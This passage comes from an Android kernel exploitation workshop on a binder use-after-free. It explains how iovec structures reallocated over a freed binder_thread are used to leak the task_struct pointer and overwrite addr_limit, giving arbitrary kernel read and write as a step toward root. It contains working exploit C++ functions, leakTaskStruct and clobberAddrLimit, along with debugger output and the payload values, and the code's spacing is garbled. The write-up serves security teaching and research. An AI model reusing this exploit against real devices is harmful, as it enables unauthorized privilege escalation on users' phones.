read, write, etc., system call can pass a pointer to user space address to system functions. This is where addr_limit comes into picture. These system functions use access_ok function to validate if the passed address is really a user space address and it's accessible.
+
As we are on x86_64 bit system at the moment, let's open workshop/android-4.14-dev/goldfish/arch/x86/include/asm/uaccess.h and see how access_ok is defined.
As you can see user_addr_max uses current->thread.addr_limit.seg for validation. If we can clobber this addr_limit with 0xFFFFFFFFFFFFFFFF, we will be able to read and write to any part of the kernel space memory.
+
+
Note:Vitaly Nikolenko (@vnik5287) pointed out that in arm64 there is a check in do_page_fault function which will crash the process if the addr_limit is set to 0xFFFFFFFFFFFFFFFF. I did all of my tests on x86_64 system so did not notice that in the beginning.
+
+
Let's open workshop/android-4.14-dev/goldfish/arch/arm64/mm/fault.c and investigate do_page_fault function.
+
staticint __kprobes do_page_fault(unsignedlong addr,unsignedint esr,
+ structpt_regs*regs)
+{
+ structtask_struct*tsk;
+ structmm_struct*mm;
+ int fault, sig, code, major =0;
+ unsignedlong vm_flags = VM_READ | VM_WRITE;
+ unsignedint mm_flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
+ [...]
+ if(is_ttbr0_addr(addr)&&is_permission_fault(esr, regs, addr)){
+ /* regs->orig_addr_limit may be 0 if we entered from EL0 */
+ if(regs->orig_addr_limit == KERNEL_DS)
+ die("Accessing user space memory with fs=KERNEL_DS", regs, esr);
+ [...]
+ }
+ [...]
+ return0;
+}
+
+
+
checks if orig_addr_limit == KERNEL_DS then it will crash, basically KERNEL_DS = 0xFFFFFFFFFFFFFFFF
+
+
For the better compatibility of the exploit on x86_64 and arm64, it's better to set addr_limit to 0xFFFFFFFFFFFFFFFE.
+
Using this vulnerability, we would like to corrupt addr_limit to upgrade our simple primitive to more powerful primitive called Arbitrary Read Write primitive.
+
Arbitrary Read Write primitives are also called as data only attacks. Where we do not hijack the execution flow of the CPU and just corrupt targeted data structures to achieve privilege escalation.
+
Corruption Target
+
We are going to use struct iovec as the corruption target as used by Maddie Stone and Jann Horn of Project Zero. The use of struct iovec was first published by Di Shen of KeenLab.
Vectored I/O is used to read data to a single buffer from multiple buffers and write data from single buffer to multiple buffers. This is used to reduce the overhead associated with multiple system calls if we want to read and write to multiple buffers using read or write system call.
+
In Linux, Vectored I/O is achieved using iovec structure and system calls like readv, writev, recvmsg, sendmsg, etc.
+
Let's see how struct iovec is defined in workshop/android-4.14-dev/goldfish/include/uapi/linux/uio.h.
To better understand Vectored I/O, and how iovec works let's see the below given diagram.
+
+
+
+
+
Advantages of struct iovec
+
+
small in size, on x64 bit system it's size is 0x10 bytes
+
we can control all the members iov_base and iov_len
+
we can stack them together to control desired kmalloc cache
+
it has a pointer to buffer and length of the buffer, which is a great target for corruption
+
+
One of the main issue with struct iovec is that they are short lived. They are allocated by system calls when they are working with the buffers and immediately freed when they return to user mode.
+
We want the iovec structure to stay in kernel when we trigger the unlink operation and overwrite the iov_base pointer with the address of binder_thread->wait.head to gain scoped read and write.
+
+
Note: We are on Android 4.14 kernel, however, Project Zero guys wrote the exploit for Android 4.4 kernel which does not have additional access_ok checks in lib/iov_iter.c. So, we had already applied the patch to revert those additional checks which would prevents us from leaking kernel space memory chunk.
+
+
How do we make iovec structure stay in kernel before we trigger the unlink operation?
+
One way is to use system calls like readv, writev on a pipe file descriptor because it can block if the pipe is full or empty.
+
pipe is an unidirectional data channel that can be used for interprocess communication. The blocking feature of pipe gives us significant time window to corrupt iovec structure in kernel space.
+
In the same manner we can use recvmsg system call to block by passing MSG_WAITALL as the flag parameter.
+
Let's dig into writev system call and figure out how it uses iovec structure. Let's open workshop/android-4.14-dev/goldfish/fs/read_write.c and look into the implementation.
rw_copy_check_uvector allocates kernel space memory and calculates the size of the allocation by doing nr_segs*sizeof(struct iovec)
+
here, nr_segs is equal to the count in iovec structure stack that we passed from user space
+
+
+
copies the iovec structure stack from user space to newly allocated kernel space by calling copy_from_user function.
+
validates whether iov_base pointer is valid by calling access_ok function.
+
+
As you can see how rw_copy_check_uvector helps us to control desired kmalloc cache
+
Leaking task_struct*
+
Let's see the strategy to leak task_struct pointer which is stored in binder_thread. We will use writev system call this time as we want to achieve scoped read from kernel space to user space.
+
Size of binder_thread structure is equal to 408 bytes. If you know about SLUB allocator, you will know that kmalloc-512 contains all the object whose size is greater than 256 but less than equal to 512 bytes. As the size of the binder_thread structure is 408 bytes, it will end up in kmalloc-512 cache.
+
First we need to figure out how many iovec structure we need to stack up to reallocate binder_threadfreed chunk.
+
gef> p /d sizeof(struct binder_thread)
+$4 = 408
+gef> p /d sizeof(struct iovec)
+$5 = 16
+gef> p /d sizeof(struct binder_thread) / sizeof(struct iovec)
+$9 = 25
+gef> p /d 25*16
+$16 = 400
+
We see that we will need to stack up 25iovec structures to reallocate the dangling chunk.
+
+
Note: 25iovec structures are 400 bytes in size. This is a good thing, otherwise task_struct pointer would also get clobbered and we would not be able to leak it.
+
+
If you remember, when the unlink operation happened twoquadwords where written to the dangling chunk. Let's figure out which iovec structures will be clobbered.
+
gef> p /d offsetof(structbinder_thread, wait)/sizeof(structiovec)
+$13=10
+
+
+
+
+
offset
+
binder_thread
+
iovecStack
+
+
+
+
+
0x00
+
...
+
iovecStack[0].iov_base = 0x0000000000000000
+
+
+
0x08
+
...
+
iovecStack[0].iov_len = 0x0000000000000000
+
+
+
...
+
...
+
...
+
+
+
...
+
...
+
...
+
+
+
0xA0
+
wait.lock
+
iovecStack[10].iov_base = m_4gb_aligned_page
+
+
+
0xA8
+
wait.head.next
+
iovecStack[10].iov_len = PAGE_SIZE
+
+
+
0xB0
+
wait.head.prev
+
iovecStack[11].iov_base = 0x41414141
+
+
+
0xB8
+
...
+
iovecStack[11].iov_len = PAGE_SIZE
+
+
+
...
+
...
+
...
+
+
+
+
As we can see from the above table, iovecStack[10].iov_len and iovecStack[11].iov_base will be clobbered.
+
So, we would want to process iovecStack[10], block writev system call and then trigger the unlink operation. This will ensure that when iovecStack[11].iov_base is clobbered, we will resume the writev system call. Then finally, leak the content of the binder_thread chunk back to user space and read task_struct pointer from it.
+
But, what's the importance of m_4gb_aligned_page in this case?
+
Before doing the unlink operation, remove_wait_queue tries to acquire spin lock. If the value is not 0, then the thread will keep on spinning and the unlink operation will never occur. As iov_base is a 64 bit value, we want to ensure that lower 32 bits is 0.
+
+
Note: To effectively, use the blocking feature of writev system calls we will need at least two light weight processes.
+
+
Let's build the attack plan to leak task_struct structure pointer
+
+
create pipe, get the file descriptors and set the maximum buffer size to PAGE_SIZE
+
link eventpoll wait queue to binder_thread wait queue
+
fork the process
+
parent process
+
free the binder_thread structure
+
trigger writev system call and keep blocking
+
once writev system call resumes, it will process iovecStack[11] which is already clobbered due to unlink operation
+
read the pointer to task_struct from the leaked kernel space chunk
+
+
+
child process
+
sleep to avoid race conditions
+
trigger the unlink operation
+
read dummy data from the pipe which is written by processing iovecStack[10], this will resume writev system call
+
+
+
+
+
+
To better understand the flow of exploitation, let's see a diagram created by Maddie Stone on Project Zero blog post. The diagram is very accurate and I do not want to redraw the same.
+
+
+
+
+
+
Now, let's see the how the same could be achieved in the exploit code.
+
voidBinderUaF::leakTaskStruct(){
+ int pipe_fd[2]={0};
+ ssize_t nBytesRead =0;
+ staticchar dataBuffer[PAGE_SIZE]={0};
+ structiovec iovecStack[IOVEC_COUNT]={nullptr};
+
+ //
+ // Get binder fd
+ //
+
+ setupBinder();
+
+ //
+ // Create event poll
+ //
+
+ setupEventPoll();
+
+ //
+ // We are going to use iovec for scoped read/write,
+ // we need to make sure that iovec stays in the kernel
+ // before we trigger the unlink after binder_thread has
+ // been freed.
+ //
+ // One way to achieve this is by using the blocking APIs
+ // in Linux kernel. Such APIs are read, write, etc on pipe.
+ //
+
+ //
+ // Setup pipe for iovec
+ //
+
+ INFO("[+] Setting up pipe\n");
+
+ if(pipe(pipe_fd)==-1){
+ ERR("\t[-] Unable to create pipe\n");
+ exit(EXIT_FAILURE);
+ }else{
+ INFO("\t[*] Pipe created successfully\n");
+ }
+
+ //
+ // pipe_fd[0] = read fd
+ // pipe_fd[1] = write fd
+ //
+ // Default size of pipe is 65536 = 0x10000 = 64KB
+ // This is way much of data that we care about
+ // Let's reduce the size of pipe to 0x1000
+ //
+ if(fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE)==-1){
+ ERR("\t[-] Unable to change the pipe capacity\n");
+ exit(EXIT_FAILURE);
+ }else{
+ INFO("\t[*] Changed the pipe capacity to: 0x%x\n", PAGE_SIZE);
+ }
+
+ INFO("[+] Setting up iovecs\n");
+
+ //
+ // As we are overlapping binder_thread with iovec,
+ // binder_thread->wait.lock will align to iovecStack[10].io_base.
+ //
+ // If binder_thread->wait.lock is not 0 then the thread will get
+ // stuck in trying to acquire the lock and the unlink operation
+ // will not happen.
+ //
+ // To avoid this, we need to make sure that the overlapped data
+ // should be set to 0.
+ //
+ // iovec.iov_base is a 64bit value, and spinlock_t is 32bit, so if
+ // we can pass a valid memory address whose lower 32bit value is 0,
+ // then we can avoid spin lock issue.
+ //
+
+ mmap4gbAlignedPage();
+
+ iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;
+ iovecStack[IOVEC_WQ_INDEX].iov_len = PAGE_SIZE;
+ iovecStack[IOVEC_WQ_INDEX +1].iov_base =(void*)0x41414141;
+ iovecStack[IOVEC_WQ_INDEX +1].iov_len = PAGE_SIZE;
+
+ //
+ // Now link the poll wait queue to binder thread wait queue
+ //
+
+ linkEventPollWaitQueueToBinderThreadWaitQueue();
+
+ //
+ // We should trigger the unlink operation when we
+ // have the binder_thread reallocated as iovec array
+ //
+
+ //
+ // Now fork
+ //
+
+ pid_t childPid =fork();
+
+ if(childPid ==0){
+ //
+ // child process
+ //
+
+ //
+ // There is a race window between the unlink and blocking
+ // in writev, so sleep for a while to ensure that we are
+ // blocking in writev before the unlink happens
+ //
+
+ sleep(2);
+
+ //
+ // Trigger the unlink operation on the reallocated chunk
+ //
+
+ unlinkEventPollWaitQueueFromBinderThreadWaitQueue();
+
+ //
+ // First interesting iovec will read 0x1000 bytes of data.
+ // This is just the junk data that we are not interested in
+ //
+
+ nBytesRead =read(pipe_fd[0], dataBuffer,sizeof(dataBuffer));
+
+ if(nBytesRead != PAGE_SIZE){
+ ERR("\t[-] CHILD: read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);
+ exit(EXIT_FAILURE);
+ }
+
+ exit(EXIT_SUCCESS);
+
+ }
+
+ //
+ // parent process
+ //
+
+ //
+ // I have seen some races which hinders the reallocation.
+ // So, now freeing the binder_thread after fork.
+ //
+
+ freeBinderThread();
+
+ //
+ // Reallocate binder_thread as iovec array
+ //
+ // We need to make sure this writev call blocks
+ // This will only happen when the pipe is already full
+ //
+
+ //
+ // This print statement was ruining the reallocation,
+ // spent a night to figure this out. Commenting the
+ // below line.
+ //
+
+ // INFO("[+] Reallocating binder_thread\n");
+
+
+ ssize_t nBytesWritten =writev(pipe_fd[1], iovecStack, IOVEC_COUNT);
+
+ //
+ // If the corruption was successful, the total bytes written
+ // should be equal to 0x2000. This is because there are two
+ // valid iovec and the length of each is 0x1000
+ //
+
+ if(nBytesWritten != PAGE_SIZE *2){
+ ERR("\t[-] writev failed. nBytesWritten: 0x%lx, expected: 0x%x\n", nBytesWritten, PAGE_SIZE *2);
+ exit(EXIT_FAILURE);
+ }else{
+ INFO("\t[*] Wrote 0x%lx bytes\n", nBytesWritten);
+ }
+
+ //
+ // Now read the actual data from the corrupted iovec
+ // This is the leaked data from kernel address space
+ // and will contain the task_struct pointer
+ //
+
+ nBytesRead =read(pipe_fd[0], dataBuffer,sizeof(dataBuffer));
+
+ if(nBytesRead != PAGE_SIZE){
+ ERR("\t[-] read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);
+ exit(EXIT_FAILURE);
+ }
+
+ //
+ // Wait for the child process to exit
+ //
+
+ wait(nullptr);
+
+ m_task_struct =(structtask_struct*)*((int64_t*)(dataBuffer + TASK_STRUCT_OFFSET_IN_LEAKED_DATA));
+
+ m_pidAddress =(void*)((int8_t*) m_task_struct +offsetof(structtask_struct, pid));
+ m_credAddress =(void*)((int8_t*) m_task_struct +offsetof(structtask_struct, cred));
+ m_nsproxyAddress =(void*)((int8_t*) m_task_struct +offsetof(structtask_struct, nsproxy));
+
+ INFO("[+] Leaked task_struct: %p\n", m_task_struct);
+ INFO("\t[*] &task_struct->pid: %p\n", m_pidAddress);
+ INFO("\t[*] &task_struct->cred: %p\n", m_credAddress);
+ INFO("\t[*] &task_struct->nsproxy: %p\n", m_nsproxyAddress);
+}
+
+
I hope know you have a better idea what's going on and how in-flight iovec structure was used for leaking task_struct pointer.
+
Clobber addr_limit
+
We have leaked task_struct pointer, now it's time to clobber mm_segment_t addr_limit.
+
We can't use writev because we do not want to achieve scoped read but instead we want scoped write to kernel space. Initially I tried readv blocking feature to achieve the scoped write but I found few issue because of which we can not use it.
+
Below given are some of the reasons
+
+
readv will not process oneiovec and block like writev calls does
+
when iovecStack[10].iov_len is clobbered with a pointer, the length is now a big number and when copy_page_to_iter_iovec function tries to copy the data by processing the iovec structure stack, it fails.
+
+
Let's open workshop/android-4.14-dev/goldfish/lib/iov_iter.c and see the implementation of copy_page_to_iter_iovec function.
when it tries to process the clobbered iovecStack[10], it tries to compute the length of the copy in this line copy = min(bytes, iov->iov_len)
+
bytes is equal to sum of all the iov_len in the iovecStack and iov->iov_len is the iovecStack[10].iov_len which is now clobbered with a pointer
+
this is where things go wrong because, now length becomes copy = bytes and skips the processing of iovecStack[11] which would have given us the scoped write
+
+
For achieving scoped write, we are going to use recvmsg system call to block by passing MSG_WAITALL as the flag parameter. recvmsg system call can block just like writev system call and would would not encounter the issue we discussed with readv system call.
+
Let's see what we want to write to addr_limit field.
+
gef> p sizeof(mm_segment_t)
+$17 = 0x8
+
As the size of mm_segment_t is 0x8 bytes, we would want to clobber it with 0xFFFFFFFFFFFFFFFE as it's the highest valid kernel space address and will not crash the process if page fault occurs in arm64 system.
+
Now, let's see how we will overlap binder_thread structure chunk with iovec structure stack in this case.
+
+
+
+
offset
+
binder_thread
+
iovecStack
+
+
+
+
+
0x00
+
...
+
iovecStack[0].iov_base = 0x0000000000000000
+
+
+
0x08
+
...
+
iovecStack[0].iov_len = 0x0000000000000000
+
+
+
...
+
...
+
...
+
+
+
...
+
...
+
...
+
+
+
0xA0
+
wait.lock
+
iovecStack[10].iov_base = m_4gb_aligned_page
+
+
+
0xA8
+
wait.head.next
+
iovecStack[10].iov_len = 1
+
+
+
0xB0
+
wait.head.prev
+
iovecStack[11].iov_base = 0x41414141
+
+
+
0xB8
+
...
+
iovecStack[11].iov_len = 0x8 + 0x8 + 0x8 + 0x8
+
+
+
0xC0
+
...
+
iovecStack[12].iov_base = 0x42424242
+
+
+
0xC8
+
...
+
iovecStack[12].iov_len = 0x8
+
+
+
...
+
...
+
...
+
+
+
+
Again, iovecStack[10].iov_len and iovecStack[11].iov_base will be clobbered with a pointer. However, we will only trigger the unlink operation, when iovecStack[10] is already processed and recvmsg system call is blocking and waiting to receive the rest of the messages.
+
When the clobber is done, we will write rest of the data (finalSocketData) to the socket file descriptor and then recvmsg system call will resume automatically.
iovecStack[10] is already processed before we trigger the unlink operation
+
iovecStack[10].iov_len and iovecStack[11].iov_base is clobbered with a pointer
+
when recvmsg starts processing iovecStack[11]
+
it will write 1 to iovecStack[10].iov_len which was earlier clobbered, basically fix it back to it's initial value
+
write 0x41414141 to iovecStack[11].iov_base
+
write 0x20 to iovecStack[11].iov_len
+
write address of addr_limit to iovecStack[12].iov_base
+
+
+
now, when recvmsg starts processing iovecStack[12]
+
write 0xFFFFFFFFFFFFFFFE to addr_limit
+
+
+
+
This is how we will convert scoped write to controlled arbitrary write.
+
Let's build the attack plan to clobber addr_limit
+
+
create socketpair and get the file descriptors
+
write 0x1 byte of junk data to socket's write descriptor
+
link eventpoll wait queue to binder_thread wait queue
+
fork the process
+
parent process
+
free the binder_thread structure
+
trigger recvmsg system call, it will process the 0x1 byte of junk data that we wrote, then blocks and waits to receive rest of the data
+
once recvmsg system call resumes, it will process iovecStack[11] which is already clobbered due to unlink operation
+
once recvmsg system call returns it would have clobbered addr_limit
+
+
+
child process
+
sleep to avoid race conditions
+
trigger the unlink operation
+
write rest of the data finalSocketData to the socket's write descriptor
+
+
+
+
+
+
Now, let's see the how the same could be achieved in the exploit code.
+
voidBinderUaF::clobberAddrLimit(){
+ int sock_fd[2]={0};
+ ssize_t nBytesWritten =0;
+ structmsghdr message ={nullptr};
+ structiovec iovecStack[IOVEC_COUNT]={nullptr};
+
+ //
+ // Get binder fd
+ //
+
+ setupBinder();
+
+ //
+ // Create event poll
+ //
+
+ setupEventPoll();
+
+ //
+ // For clobbering the addr_limit we trigger the unlink
+ // operation again after reallocating binder_thread with
+ // iovecs
+ //
+ // If you see how we manage to leak kernel data is by using
+ // the blocking feature of writev
+ //
+ // We could use readv blocking feature to do scoped write
+ // However, after trying readv and reading the Linux kernel
+ // code, I figured out an issue which makes readv useless for
+ // current bug.
+ //
+ // The main issue that I found is:
+ //
+ // iovcArray[IOVEC_COUNT].iov_len is clobbered with a pointer
+ // due to unlink operation
+ //
+ // So, when copy_page_to_iter_iovec tries to process the iovecs,
+ // there is a line of code, copy = min(bytes, iov->iov_len);
+ // Here, "bytes" is equal to sum of all iovecs length and as
+ // "iov->iov_len" is corrupted with a pointer which is obviously
+ // a very big number, now copy = sum of all iovecs length and skips
+ // the processing of the next iovec which is the target iovec which
+ // would give was scoped write.
+ //
+ // I believe P0 also faced the same issue so they switched to recvmsg
+ //
+
+ //
+ // Setup socketpair for iovec
+ //
+ // AF_UNIX/AF_LOCAL is used because we are interested only in
+ // local communication
+ //
+ // We use SOCK_STREAM so that MSG_WAITALL can be used in recvmsg
+ //
+
+ INFO("[+] Setting up socket\n");
+
+ if(socketpair(AF_UNIX, SOCK_STREAM,0, sock_fd)==-1){
+ ERR("\t[-] Unable to create socketpair\n");
+ exit(EXIT_FAILURE);
+ }else{
+ INFO("\t[*] Socketpair created successfully\n");
+ }
+
+ //
+ // We will just write junk data to socket so that when recvmsg
+ // is called it process the fist valid iovec with this junk data
+ // and then blocks and waits for the rest of the data to be received
+ //
+
+ staticchar junkSocketData[]={
+ 0x41
+ };
+
+ INFO("[+] Writing junk data to socket\n");
+
+ nBytesWritten =write(sock_fd[1],&junkSocketData,sizeof(junkSocketData));
+
+ if(nBytesWritten !=sizeof(junkSocketData)){
+ ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx\n", nBytesWritten,sizeof(junkSocketData));
+ exit(EXIT_FAILURE);
+ }
+
+ //
+ // Write junk data to the socket so that when recvmsg is
+ // called, it process the first valid iovec with this junk
+ // data and then blocks for the rest of the incoming socket data
+ //
+
+ INFO("[+] Setting up iovecs\n");
+
+ //
+ // We want to block after processing the iovec at IOVEC_WQ_INDEX,
+ // because then, we can trigger the unlink operation and get the
+ // next iovecs corrupted to gain scoped write.
+ //
+
+ mmap4gbAlignedPage();
+
+ iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;
+ iovecStack[IOVEC_WQ_INDEX].iov_len =1;
+ iovecStack[IOVEC_WQ_INDEX +1].iov_base =(void*)0x41414141;
+ iovecStack[IOVEC_WQ_INDEX +1].iov_len =0x8+0x8+0x8+0x8;
+ iovecStack[IOVEC_WQ_INDEX +2].iov_base =(void*)0x42424242;
+ iovecStack[IOVEC_WQ_INDEX +2].iov_len =0x8;
+
+ //
+ // Prepare the data buffer that will be written to socket
+ //
+
+ //
+ // Setting addr_limit to 0xFFFFFFFFFFFFFFFF in arm64
+ // will result in crash because of a check in do_page_fault
+ // However, x86_64 does not have this check. But it's better
+ // to set it to 0xFFFFFFFFFFFFFFFE so that this same code can
+ // be used in arm64 as well.
+ //
+
+ staticuint64_t finalSocketData[]={
+ 0x1,// iovecStack[IOVEC_WQ_INDEX].iov_len
+ 0x41414141,// iovecStack[IOVEC_WQ_INDEX + 1].iov_base
+ 0x8+0x8+0x8+0x8,// iovecStack[IOVEC_WQ_INDEX + 1].iov_len
+ (uint64_t)((uint8_t*) m_task_struct +
+ OFFSET_TASK_STRUCT_ADDR_LIMIT),// iovecStack[IOVEC_WQ_INDEX + 2].iov_base
+ 0xFFFFFFFFFFFFFFFE// addr_limit value
+ };
+
+ //
+ // Prepare the message
+ //
+
+ message.msg_iov = iovecStack;
+ message.msg_iovlen = IOVEC_COUNT;
+
+ //
+ // Now link the poll wait queue to binder thread wait queue
+ //
+
+ linkEventPollWaitQueueToBinderThreadWaitQueue();
+
+ //
+ // We should trigger the unlink operation when we
+ // have the binder_thread reallocated as iovec array
+ //
+
+ //
+ // Now fork
+ //
+
+ pid_t childPid =fork();
+
+ if(childPid ==0){
+ //
+ // child process
+ //
+
+ //
+ // There is a race window between the unlink and blocking
+ // in writev, so sleep for a while to ensure that we are
+ // blocking in writev before the unlink happens
+ //
+
+ sleep(2);
+
+ //
+ // Trigger the unlink operation on the reallocated chunk
+ //
+
+ unlinkEventPollWaitQueueFromBinderThreadWaitQueue();
+
+ //
+ // Now, at this point, the iovecStack[IOVEC_WQ_INDEX].iov_len
+ // and iovecStack[IOVEC_WQ_INDEX + 1].iov_base is clobbered
+ //
+ // Write rest of the data to the socket so that recvmsg starts
+ // processing the corrupted iovecs and we get scoped write and
+ // finally arbitrary write
+ //
+
+ nBytesWritten =write(sock_fd[1], finalSocketData,sizeof(finalSocketData));
+
+ if(nBytesWritten !=sizeof(finalSocketData)){
+ ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx", nBytesWritten,sizeof(finalSocketData));
+ exit(EXIT_FAILURE);
+ }
+
+ exit(EXIT_SUCCESS);
+
+ }
+
+ //
+ // parent process
+ //
+
+ //
+ // I have seen some races which hinders the reallocation.
+ // So, now freeing the binder_thread after fork.
+ //
+
+ freeBinderThread();
+
+ //
+ // Reallocate binder_thread as iovec array and
+ // we need to make sure this recvmsg call blocks.
+ //
+ // recvmsg will block after processing a valid iovec at
+ // iovecStack[IOVEC_WQ_INDEX]
+ //
+
+ ssize_t nBytesReceived =recvmsg(sock_fd[0],&message, MSG_WAITALL);
+
+ //
+ // If the corruption was successful, the total bytes received
+ // should be equal to length of all iovec. This is because there
+ // are three valid iovec
+ //
+
+ ssize_t expectedBytesReceived = iovecStack[IOVEC_WQ_INDEX].iov_len +
+ iovecStack[IOVEC_WQ_INDEX +1].iov_len +
+ iovecStack[IOVEC_WQ_INDEX +2].iov_len;
+
+ if(nBytesReceived != expectedBytesReceived){
+ ERR("\t[-] recvmsg failed. nBytesReceived: 0x%lx, expected: 0x%lx\n", nBytesReceived, expectedBytesReceived);
+ exit(EXIT_FAILURE);
+ }
+
+ //
+ // Wait for the child process to exit
+ //
+
+ wait(nullptr);
+}
+
+
I hope know you have a better idea how we used scoped write to achieve controlled arbitrary write and clobbered addr_limit with 0xFFFFFFFFFFFFFFFE.
The end goal of this workshop is to use a Android kernel vulnerability to achieve privilege escalation i.e root. In Linuxroot is the super user with uid=0(root) gid=0(root) and has all the access rights.
+
Light Weight Process
+
Linux uses Light Weight Process to implement better support multi-threading. Each light weight process is assigned a process descriptor called task_struct and is defined in include/linux/sched.h.
+
structtask_struct{
+#ifdefCONFIG_THREAD_INFO_IN_TASK
+ /*
+ * For reasons of header soup (see current_thread_info()), this
+ * must be the first element of task_struct.
+ */
+ structthread_info thread_info;
+#endif
+ /* -1 unrunnable, 0 runnable, >0 stopped: */
+ volatilelong state;
+
+ /*
+ * This begins the randomizable portion of task_struct. Only
+ * scheduling-critical items should be added above here.
+ */
+ randomized_struct_fields_start
+
+ void*stack;
+ atomic_t usage;
+ /* Per task flags (PF_*), defined further below: */
+ unsignedint flags;
+ unsignedint ptrace;
+
+#ifdefCONFIG_SMP
+ structllist_node wake_entry;
+ int on_cpu;
+#ifdefCONFIG_THREAD_INFO_IN_TASK
+ /* Current CPU: */
+ unsignedint cpu;
+#endif
+ unsignedint wakee_flips;
+ unsignedlong wakee_flip_decay_ts;
+ structtask_struct*last_wakee;
+
+ int wake_cpu;
+#endif
+ int on_rq;
+
+ int prio;
+ int static_prio;
+ int normal_prio;
+ unsignedint rt_priority;
+
+ conststructsched_class*sched_class;
+ structsched_entity se;
+ structsched_rt_entity rt;
+#ifdefCONFIG_SCHED_WALT
+ structravg ravg;
+ /*
+ * 'init_load_pct' represents the initial task load assigned to children
+ * of this task
+ */
+ u32 init_load_pct;
+ u64 last_sleep_ts;
+#endif
+
+#ifdefCONFIG_CGROUP_SCHED
+ structtask_group*sched_task_group;
+#endif
+ structsched_dl_entity dl;
+
+#ifdefCONFIG_PREEMPT_NOTIFIERS
+ /* List of struct preempt_notifier: */
+ structhlist_head preempt_notifiers;
+#endif
+
+#ifdefCONFIG_BLK_DEV_IO_TRACE
+ unsignedint btrace_seq;
+#endif
+
+ unsignedint policy;
+ int nr_cpus_allowed;
+ cpumask_t cpus_allowed;
+
+#ifdefCONFIG_PREEMPT_RCU
+ int rcu_read_lock_nesting;
+ union rcu_special rcu_read_unlock_special;
+ structlist_head rcu_node_entry;
+ structrcu_node*rcu_blocked_node;
+#endif/* #ifdef CONFIG_PREEMPT_RCU */
+
+#ifdefCONFIG_TASKS_RCU
+ unsignedlong rcu_tasks_nvcsw;
+ u8 rcu_tasks_holdout;
+ u8 rcu_tasks_idx;
+ int rcu_tasks_idle_cpu;
+ structlist_head rcu_tasks_holdout_list;
+#endif/* #ifdef CONFIG_TASKS_RCU */
+
+ structsched_info sched_info;
+
+ structlist_head tasks;
+#ifdefCONFIG_SMP
+ structplist_node pushable_tasks;
+ structrb_node pushable_dl_tasks;
+#endif
+
+ structmm_struct*mm;
+ structmm_struct*active_mm;
+
+ /* Per-thread vma caching: */
+ structvmacache vmacache;
+
+#ifdefSPLIT_RSS_COUNTING
+ structtask_rss_stat rss_stat;
+#endif
+ int exit_state;
+ int exit_code;
+ int exit_signal;
+ /* The signal sent when the parent dies: */
+ int pdeath_signal;
+ /* JOBCTL_*, siglock protected: */
+ unsignedlong jobctl;
+
+ /* Used for emulating ABI behavior of previous Linux versions: */
+ unsignedint personality;
+
+ /* Scheduler bits, serialized by scheduler locks: */
+ unsigned sched_reset_on_fork:1;
+ unsigned sched_contributes_to_load:1;
+ unsigned sched_migrated:1;
+ unsigned sched_remote_wakeup:1;
+#ifdefCONFIG_PSI
+ unsigned sched_psi_wake_requeue:1;
+#endif
+
+ /* Force alignment to the next boundary: */
+ unsigned:0;
+
+ /* Unserialized, strictly 'current' */
+
+ /* Bit to tell LSMs we're in execve(): */
+ unsigned in_execve:1;
+ unsigned in_iowait:1;
+#ifndefTIF_RESTORE_SIGMASK
+ unsigned restore_sigmask:1;
+#endif
+#ifdefCONFIG_MEMCG
+ unsigned memcg_may_oom:1;
+#ifndefCONFIG_SLOB
+ unsigned memcg_kmem_skip_account:1;
+#endif
+#endif
+#ifdefCONFIG_COMPAT_BRK
+ unsigned brk_randomized:1;
+#endif
+#ifdefCONFIG_CGROUPS
+ /* disallow userland-initiated cgroup migration */
+ unsigned no_cgroup_migration:1;
+#endif
+
+ unsignedlong atomic_flags;/* Flags requiring atomic access. */
+
+ structrestart_block restart_block;
+
+ pid_t pid;
+ pid_t tgid;
+
+#ifdefCONFIG_CC_STACKPROTECTOR
+ /* Canary value for the -fstack-protector GCC feature: */
+ unsignedlong stack_canary;
+#endif
+ /*
+ * Pointers to the (original) parent process, youngest child, younger sibling,
+ * older sibling, respectively. (p->father can be replaced with
+ * p->real_parent->pid)
+ */
+
+ /* Real parent process: */
+ structtask_struct __rcu *real_parent;
+
+ /* Recipient of SIGCHLD, wait4() reports: */
+ structtask_struct __rcu *parent;
+
+ /*
+ * Children/sibling form the list of natural children:
+ */
+ structlist_head children;
+ structlist_head sibling;
+ structtask_struct*group_leader;
+
+ /*
+ * 'ptraced' is the list of tasks this task is using ptrace() on.
+ *
+ * This includes both natural children and PTRACE_ATTACH targets.
+ * 'ptrace_entry' is this task's link on the p->parent->ptraced list.
+ */
+ structlist_head ptraced;
+ structlist_head ptrace_entry;
+
+ /* PID/PID hash table linkage. */
+ structpid_link pids[PIDTYPE_MAX];
+ structlist_head thread_group;
+ structlist_head thread_node;
+
+ structcompletion*vfork_done;
+
+ /* CLONE_CHILD_SETTID: */
+ int __user *set_child_tid;
+
+ /* CLONE_CHILD_CLEARTID: */
+ int __user *clear_child_tid;
+
+ u64 utime;
+ u64 stime;
+#ifdefCONFIG_ARCH_HAS_SCALED_CPUTIME
+ u64 utimescaled;
+ u64 stimescaled;
+#endif
+ u64 gtime;
+#ifdefCONFIG_CPU_FREQ_TIMES
+ u64 *time_in_state;
+ unsignedint max_state;
+#endif
+ structprev_cputime prev_cputime;
+#ifdefCONFIG_VIRT_CPU_ACCOUNTING_GEN
+ structvtime vtime;
+#endif
+
+#ifdefCONFIG_NO_HZ_FULL
+ atomic_t tick_dep_mask;
+#endif
+ /* Context switch counts: */
+ unsignedlong nvcsw;
+ unsignedlong nivcsw;
+
+ /* Monotonic time in nsecs: */
+ u64 start_time;
+
+ /* Boot based time in nsecs: */
+ u64 real_start_time;
+
+ /* MM fault and swap info: this can arguably be seen as either mm-specific or thread-specific: */
+ unsignedlong min_flt;
+ unsignedlong maj_flt;
+
+#ifdefCONFIG_POSIX_TIMERS
+ structtask_cputime cputime_expires;
+ structlist_head cpu_timers[3];
+#endif
+
+ /* Process credentials: */
+
+ /* Tracer's credentials at attach: */
+ conststructcred __rcu *ptracer_cred;
+
+ /* Objective and real subjective task credentials (COW): */
+ conststructcred __rcu *real_cred;
+
+ /* Effective (overridable) subjective task credentials (COW): */
